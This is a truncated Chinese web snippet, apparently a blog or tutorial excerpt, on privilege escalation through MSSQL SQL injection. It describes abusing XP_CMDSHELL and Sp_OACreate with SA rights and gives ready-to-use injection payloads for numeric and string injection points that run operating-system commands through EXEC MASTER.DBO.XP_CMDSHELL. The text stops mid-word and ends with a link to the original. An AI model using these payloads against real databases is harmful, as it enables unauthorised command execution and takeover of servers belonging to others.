MSSQL注入提权的一些方法

MSSQL注入提权的一些方法 MSSQL注入提权思路: SA权限:利用XP_CMDSHELL,Sp_OACreate等储存过程直接提权.(前提储存过程健在) 相关SQL语句 XP_CMDSHELL: 数字型;EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'-- 字符型&搜索型';EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'-- Sp_OACr

>>阅读原文<<